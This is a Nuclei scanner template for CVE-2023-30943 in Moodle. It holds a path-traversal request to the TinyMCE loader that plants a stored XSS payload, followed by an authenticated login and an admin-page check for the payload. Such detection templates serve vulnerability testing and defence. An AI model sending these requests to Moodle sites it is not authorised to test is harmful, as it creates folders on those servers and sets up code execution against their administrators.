81 lines
3.2 KiB
YAML
81 lines
3.2 KiB
YAML
id: CVE-2023-30943
|
|
|
|
info:
|
|
name: Moodle - Cross-Site Scripting/Remote Code Execution
|
|
author: ritikchaddha
|
|
severity: medium
|
|
description: |
|
|
The vulnerability was found Moodle which exists because the application allows a user to control path of the older to create in TinyMCE loaders. A remote user can send a specially crafted HTTP request and create arbitrary folders on the system. Moodle versions 4.1.x before 4.1.3 and 4.2.x before 4.2.0 are susceptible to an unauthenticated arbitrary folder creation, tracked as CVE-2023-30943. An attacker can leverage the creation of arbitrary folders to carry out a Stored Cross-Site Scripting (XSS) attack on the administration panel, resulting in arbitrary code execution on the server as soon as an administrator visits the panel.
|
|
impact: |
|
|
Successful exploitation of these vulnerabilities could lead to unauthorized access, data theft, and potential compromise of the Moodle application and its users.
|
|
reference:
|
|
- https://www.sonarsource.com/blog/playing-dominos-with-moodles-security-1/?utm_source=twitter&utm_medium=social&utm_campaign=wordpress&utm_content=security&utm_term=mofu
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-30943
|
|
- http://git.moodle.org/gw?p=moodle.git&a=search&h=HEAD&st=commit&s=MDL-77718
|
|
- https://bugzilla.redhat.com/show_bug.cgi?id=2188605
|
|
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/54TM5H5PDUDYXOQ7X7PPYWP4AJDAE73I/
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
|
|
cvss-score: 5.3
|
|
cve-id: CVE-2023-30943
|
|
cwe-id: CWE-610,CWE-73
|
|
epss-score: 0.01938
|
|
epss-percentile: 0.87338
|
|
cpe: cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 4
|
|
vendor: moodle
|
|
product: moodle
|
|
shodan-query: title:"Moodle"
|
|
tags: cve,cve2023,moodle,xss,rce,authenticated
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /lib/editor/tiny/loader.php?rev=a/../../../../html/pix/f/<input><img%20src=x%20onerror=alert(document.domain)>.png HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
- |
|
|
GET /login/index.php HTTP/2
|
|
Host: {{Hostname}}
|
|
- |
|
|
POST /login/index.php HTTP/2
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
anchor=&logintoken={{token}}&username={{username}}&password={{password}}
|
|
- |
|
|
GET /admin/tool/filetypes/edit.php?name=add HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
host-redirects: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body_4
|
|
words:
|
|
- "<img src=x onerror=alert(document.domain)>"
|
|
- ">archive"
|
|
- "File icon"
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header_4
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
part: header_4
|
|
status:
|
|
- 200
|
|
|
|
extractors:
|
|
- type: regex
|
|
part: body
|
|
name: token
|
|
group: 1
|
|
regex:
|
|
- 'name="logintoken" value="([a-zA-Z0-9]+)">'
|
|
internal: true
|
|
# digest: 4a0a004730450220724b37083d201e22eba8d037049a247e494e9909c0ae60a8c4946d0e577d6f6b022100d3ef9b46eed9adf6dca8cc8cba7685744a916cfa7e59a4c682c347a7fbaf5543:922c64590222798bb761d5b6d8e72950 |